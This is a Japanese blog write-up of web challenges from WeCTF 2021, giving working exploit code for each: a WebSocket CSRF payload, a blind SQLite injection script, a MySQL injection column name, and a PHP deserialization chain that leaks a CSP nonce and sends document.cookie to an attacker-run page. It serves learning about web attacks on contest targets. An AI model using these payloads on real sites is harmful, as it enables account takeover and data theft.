st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

WeCTF 2021 writeup

6/20 - 6/21という日程で開催された。zer0ptsで参加して4位。ほぼWeb問オンリーという私好みのCTFだったし問題の質が高くて楽しかったけれども、PingとURL Binという難しめの問題が解けなかったのがつらい。

[Web 50] GitHub (23 solves)

GitHub Actionsで悪いことをするやつ。GitHubのユーザ名を入力すると、GitHub Actionsが導入されたプライベートリポジトリに招待される。リリース時に走るスクリプト (docker.yml) とプルリクエスト時に走るスクリプト (pr.yml) がある。

docker.yml

name: Publish Docker
on: [release]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@master
    - name: Publish to Registry
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: wectfchall/poop
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

pr.yml

name: Say Hi

on: [pull_request]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2
    - name: Say Hi
      run: |
        echo "hi!!"

pr.yml を書き換えるプルリクエストを送ると、その書き換えた後のスクリプトが実行されてしまう。ptr-yudaiさんが curlsecrets.DOCKER_USERNAMEsecrets.DOCKER_PASSWORD を抜き出し、このクレデンシャルでDocker Hubのレジストリにログインできることを確認していた。docker run --rm -it wectfchall/flag でフラグ。

[Web 143] Cache (65 solves)

adminしか閲覧できない /flag というエンドポイントがある。ただ、以下のように .css .js .html という拡張子のページであれば10秒間キャッシュされる上に、/flag/hoge.css というようなパスでも /flag と同じコンテンツが返ってくる。これを使って、adminに /flag/hoge.css をアクセスさせた後に急いで自分もアクセスすればフラグが得られる。

class SimpleMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request: HttpRequest):
        path = urllib.parse.urlparse(request.path).path
        if path in CACHE and CACHE[path][1] > time.time():
            return CACHE[path][0]
        is_static = path.endswith(".css") or path.endswith(".js") or path.endswith(".html")
        response = self.get_response(request)
        if is_static:
            CACHE[path] = (response, time.time() + 10)
        return response

[Web 379] Coin Exchange (62 solves)

WebSocketでCSRF

<script>
let wait = t => new Promise(r => setTimeout(r, t));
let ws = new WebSocket('ws://coin.sg.ctf.so:4001/', "ethexchange-api");
ws.onopen = async () => {
  await wait(500);
  ws.send(JSON.stringify({
    type: 'buy',
    content: {
      amount: "9999"
    }
  }));
  await wait(500);
  ws.send(JSON.stringify({
    type: 'transfer',
    content: {
      amount: "4.5",
      to_token: "854a7fc3322dfdc20176eba89c432a8db1e0f3b0020b44bdaa8829bbddbde137"
    }
  }));
};
</script>

[Web 592] Phish (110 solves)

SQLiteのSQLi問。INSERT 中でSQLiができるが、そのクエリの結果は成功したか失敗したかの1ビットでしか得られない。Error-basedにフラグを抜き出す。

import requests

HOST = 'http://phish.ny.ctf.so/'

def query(payload):
  r = requests.post(HOST + 'add', data={
    'username': payload,
    'password': ''
  })
  return 'integer overflow' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    r = query(f"'),('',abs(-9223372036854775807 - case when unicode(substr((select group_concat(password) from user where username = 'shou'), {i}, 1)) & {1 << j} then 1 else 0 end)) -- ")
    if r:
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

[Web 925] CloudTable (23 solves)

MySQLのSQLi問。CREATE TABLE 中のカラム名でSQLiができる。MySQLでは CREATE TABLE … SELECT 構文が使えるので、これで information_schema.tables からテーブル名を抜き出したり、フラグの格納されたテーブルからレコードを抜き出したりする。

その後に作成される権限の弱いユーザでは FILE 権限がなくてローカルファイルが読めない/書けないし、LOAD DATA INFILE も使えないしで、最初のSQLiで抽出したデータを読むことぐらいしかできない。

reCAPTCHAの悪口を言いながら test` text) select flag from cloudtable.flag; # という名前のカラムを持つテーブルを作成すると、そのレコードとしてフラグが入っている。

[Web 994] CSP 2/3 (19 solves)

単純なXSSのあるWebアプリケーションだが、default-src 'none'; script-src 'nonce-(ランダムに生成された文字列)'; … というような感じの厳しいCSPがある。以下のような悪用してくれと言わんばかりのヤバいスクリプトがあるが、これを使うにはCSPの都合上 nonce を特定する必要がある。

function add_js(filename, nonce) {
  var head = document.head;
  var script = document.createElement('script');
  script.nonce = nonce;
  script.src = filename;
  head.appendChild(script);
}
window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};

CSPを発行するコードを見ると、report_uri_string というプロパティが report-uri ディレクティブに挿入されていて怪しい。ここに自分の管理下にあるWebサーバのURLを挿入できれば、CSP違反のレポートから nonce抜き出せるはず。

(script-src ディレクティブを report-uri の後に挿入すれば unsafe-inline を許可させられるのではないかと最初考えたが、重複するディレクティブが出現した場合には先に出現したものが優先され、後に出現したものは無視されるために無理っぽい)

<?php


namespace ShouFramework;
require_once "Typed.module";

class CSP extends Typed
{
    public $report_uri_string;

    protected function construct()
    {
        $this->report_uri_string = '/report_csp';
    }

    public function generate_nonce(){
        $rand_val = sha1(uniqid("", true));
        return base64_encode("$rand_val");
    }

    public function add_csp($nonces){
        $nonce = "";
        foreach ($nonces as $_nonce) $nonce .= "'nonce-$_nonce' ";
        header("Content-Security-Policy: trusted-types 'none'; object-src 'none'; default-src 'none'; script-src $nonce; script-src-elem $nonce; script-src-attr $nonce; img-src 'self'; style-src $nonce;style-src-elem $nonce;style-src-attr $nonce; base-uri 'self'; report-uri $this->report_uri_string;");
    }

    protected function destruct(){}
}

index.php を読むと unserialize をそこら中で呼んでいてとてもInsecure Deserializationっぽい。特にこの UserData のコンストラクタは user というGETパラメータを unserialize していて、容易に適当なオブジェクトを作れそう。

class UserData extends \ShouFramework\Typed {
    public $token_string;

    protected function construct() {
        if (isset($_GET["user"])) {
            $user = unserialize($_GET["user"]);
            if (get_class($user) != "UserData") \ShouFramework\shutdown();
            $this->token_string = $user->token_string;
        }
        // unauthenticated request
        $this->token_string = uniqid("", true);
        return $this;
    }
    protected function destruct(){}
}

ということで、まず unserialize されると CatWithHashGet を含む UserData が作られる文字列を出力するスクリプトを書く。CatWithHashGet はデストラクタが呼ばれると個別の記事ページが表示される。CatWithHashGet の持つ csp_object プロパティはCSPヘッダを発行するオブジェクトであり、これのプロパティをいじることで report-urihttp://example.com/log.php に書き換えられるようにしている。

index.php

<?php
require 'csp.php';

class CatWithHashGet {
  public $user_object;
  function __construct() {
    $this->template_object = new \ShouFramework\Template;
    $this->csp_object = new \ShouFramework\CSP;
  }
}

class UserData {
  function __construct() {
    $this->a = new CatWithHashGet;
    $this->a->user_object = &$this;
  }
}

$obj = new UserData;
echo str_replace(" ", "%20", serialize($obj)) . "\n";

csp.php

<?php
namespace ShouFramework;

class CSP {
  public function __construct() {
    $this->report_uri_string = "http://example.com/log.php";
  }
}

class Template {

}
$ php gen_serialized_object.php
O:8:"UserData":1:{s:1:"a";O:14:"CatWithHashGet":3:{s:11:"user_object";r:1;s:15:"template_object";O:22:"ShouFramework\Template":0:{}s:10:"csp_object";O:17:"ShouFramework\CSP":1:{s:17:"report_uri_string";s:26:"http://example.com/log.php";}}}

出力された文字列にセミコロンを加えて (加えないと Program integrity violated と表示されるのはなぜですか? Typed.module がなんかチェックしていたのは知っていますが、なぜセミコロンを加えるとバイパスできるんですか?) http://csp2.sf.ctf.so/?method=post&hash=(記事のID)&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}} にアクセスすると、無事 report-uri が書き換わったページが表示された。

f:id:st98:20210621032338p:plain

XSSの起こる <script>test</script> というような内容の記事を投稿し、先程の report-uri が書き換わるペイロードをその記事のURLに付け加えてアクセスすると、以下のようにCSP違反を報告するレポートが http://example.com/log.php に送られる。これで log.php 側は nonce を知ることができる。

f:id:st98:20210621032636p:plain

これで最初のヤバいスクリプトを悪用する準備が整った。nonce が届くと nonce.txt に書き込む log.php と、nonce.txt が作成されれば #data:,(JavaScriptコード)@(特定したnonce)iframe のURLに付け加える index.php を用意する。index.php を置いているURLを報告するとフラグが得られた。

index.php

<?php
$hash = 'd113a7153458978273bbf83141b5737f7cf38342'; // <script>test</script>
$url = "http://csp2.sf.ctf.so/?method=post&hash=$hash&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}}";
?>
<iframe src="<?= $url; ?>" id="iframe"></iframe>
<script>
let iframe = document.getElementById('iframe');
let id = setInterval(async () => {
  try {
    const a = await fetch('nonce.txt');
    if (!a.ok) {
      return;
    }

    const nonce = await a.text();
    console.log(nonce);
    clearInterval(id);

    iframe.src += '#data:,top.postMessage(document.cookie,"*")@' + nonce;
  } catch (e) {

  }
}, 200);

window.onmessage = e => {
  (new Image).src = 'log2.php?' + e.data;
};
</script>

log.php

<?php
$body = file_get_contents('php://input');
preg_match("/'nonce-(.+?)'/", $body, $matches);
$nonce = $matches[1];
file_put_contents('nonce.txt', $nonce);